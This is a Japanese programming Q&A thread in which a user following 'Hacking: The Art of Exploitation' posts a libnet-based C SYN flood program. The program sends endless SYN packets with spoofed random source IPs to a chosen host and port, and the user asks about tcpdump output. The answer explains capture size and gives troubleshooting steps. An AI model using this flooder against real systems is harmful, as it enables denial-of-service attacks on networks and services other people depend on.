67146


「HACKING:美しき策謀」を参考にして、kali_linux上で、下記のようなsynfloodのコードを書いてみました。実行`sudo
./synflood x.x.x.x yy -lnet`してみたところ、うまく動いているようです。しかし、`sudo tcpdump -i eth0 -nl
-c 5 "host x.x.x.x”`を実行したところ、以下のように返ってきます。以下のcapture
sizeをみると、262144bytesとなっていますが、上記参考書では、96bytesとなっています。

下記コードのsynfloodは、どんなデータを送っているのでしょうか？また、この送るデータの修正方法はどうすればいいのでしょうか？

ちなみに、最初、`libnet_write_raw_ipv4()`を`libnet_write(l)`としていましたが、実行時に`@Erro
libnet_write: libnet_write_raw_ipv4(): -1 bytes written (Message too
long)`となります。

[code]

    >>tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
    >>listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
    >>^C
    >>0 packets captured
    >>0 packets received by filter
    >>0 packets dropped by kernel
    
[/code]

[code]

    #include <stdio.h>
    #include <string.h>
    
    #include <libnet.h>
    
    #define FLOOD_DELAY 5000        //パケット注入の遅延時間は5000msである。
    
    
    /* x.x.x.x形式のIPを返す*/
    char *print_ip(uint32_t *ip_addr_ptr){
            return inet_ntoa(*((struct in_addr *)ip_addr_ptr));
    }
    
    int main(int argc,char *argv[]){
            uint32_t dest_ip,source;
            uint16_t dest_port;
            u_char errbuf[LIBNET_ERRBUF_SIZE], *pcap_errbuf, *packet;
            int network, byte_count, packet_size = LIBNET_IPV4_H + LIBNET_TCP_H;
            libnet_t *l;
    
    
            if(argc<3){
                    printf("使用方法:\n%s\t ＜対象ホスト＞＜対象ポート＞\n",argv[0]);
                    exit(1);
            }
    
            //printf("device name: %s\n",alldevsp->name);
            l = libnet_init(LIBNET_RAW4,NULL,errbuf);               //パケット酔うのメモリを割り当てる
            if(l == NULL){
                    fprintf(stderr,"Error opening context: %s\n",errbuf);
                    exit(1);
            }
    
            dest_ip = libnet_name2addr4(l,argv[1],LIBNET_DONT_RESOLVE);     //host
            dest_port = (u_short)atoi(argv[2]);                     //ポート
    
    
            if(libnet_seed_prand(l) == -1)                                  //乱数生成器に種を与える
                    printf("Error libnet_seed_prand: %s\n",libnet_geterror(l));
    
            printf("SYN Flooding port %d of %s..\n", dest_port, print_ip(&dest_ip));
    
            libnet_ptag_t tag_ipv4 = 0;                             //libnet protocol block
            libnet_ptag_t tag_tcp = 0;                              //libnet protocol block
    
            while(1){                                               //永久ループ（CTRL-Cで終了されるまで）
                    if(tag_tcp = libnet_build_tcp(libnet_get_prand(LIBNET_PRu16),  //送信元TCPポート（乱数化）
                            dest_port,                              //宛先TCPポート
                            libnet_get_prand(LIBNET_PRu32),         //シーケンス番号（乱数化）
                            libnet_get_prand(LIBNET_PRu32),         //確認応答（ACK)番号（乱数化）
                            TH_SYN,                                 //コントロールフラグ(SYNフラグのみ設定）
                            libnet_get_prand(LIBNET_PRu16),         //ウィンドウサイズ（乱数化）
                            0,                                      //checksum 0=autofill
                            0,                                      //至急ポインタ
                            LIBNET_TCP_H,                           //header length
                            NULL,                                   //ペイロード（なし）
                            0,                                      //ペイロード長
                            l,                                      //libnet context
                            0) == -1)                               //protocol tag
                            printf("Error building TCP header; %s\n",libnet_geterror(l));
    
                    if(tag_ipv4 = libnet_build_ipv4(packet_size,            //IPヘッダを除いたパケットサイズ
                            IPTOS_LOWDELAY,                         //IP　tos
                            libnet_get_prand(LIBNET_PRu16),         //IP ID(乱数化)
                            0,                                      //断片化
                            libnet_get_prand(LIBNET_PR8),           //TTL（乱数化）
                            IPPROTO_TCP,                            //トランスポートプロトコル
                            0,                                      //checksum 0=autofill
                            libnet_get_prand(LIBNET_PRu32),         //送信元IP（乱数化９
                            dest_ip,                                //宛先IP
                            NULL,                                   //ペイロード（なし）
                            0,                                      //ペイロード長
                            l,                                      //libnet context
                            0) == -1)                               //protocol tag
                            printf("Error building IP header; %s\n",libnet_geterror(l));
    
    
    
                    if(libnet_write_raw_ipv4(l,packet,40) == -1){
                            printf("@Erro libnet_write: %s\n",libnet_geterror(l));
                            exit(1);
                    }
    
                    usleep(FLOOD_DELAY);                            //FLOOD_DEPLAYミリ秒待機する
            }
    
            libnet_destroy(l);                              //パケットメモリを開放する
    
    
            return 0;
    }
    
[/code]


CC BY-SA 4.0
2020-05-30T09:54:16.460
67144
2020-05-30T11:14:15.917
2020-05-30T11:03:38.987
7290
28416
question
c
libnetで作成したデータについて


出力メッセージ

[code]

    >>listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
    
[/code]

の「`262144`」は、`tcpdump`が1パケットとしてキャプチャできるサイズの上限を示しているので、(この場合)送信しているパケットサイズとは関係ありません。

＃ネットワークインターフェースのMTUより大きな値なので不思議に思うかも知れませんが、NICのTCPオフロード機能が有効な場合、分割前のパケットをキャプチャするため、最近の`tcpdump`はMTUより大きなサイズをキャプチャ上限としているようです。

* * *

なお、

[code]

    >>0 packets captured
    >>0 packets received by filter
    >>0 packets dropped by kernel
    
[/code]

とパケットがキャプチャされていない結果が出力されているのは、いくつかの原因が考えられます。

  1. インターフェース(`eth0`)が異なる
  2. フィルタ条件(`host x.x.x.x`)が異なる

フィルタ条件を外すなどして、切り分けていくとよいと思います。


CC BY-SA 4.0
2020-05-30T11:14:15.917
67146
2020-05-30T11:14:15.917
20098
67144
answer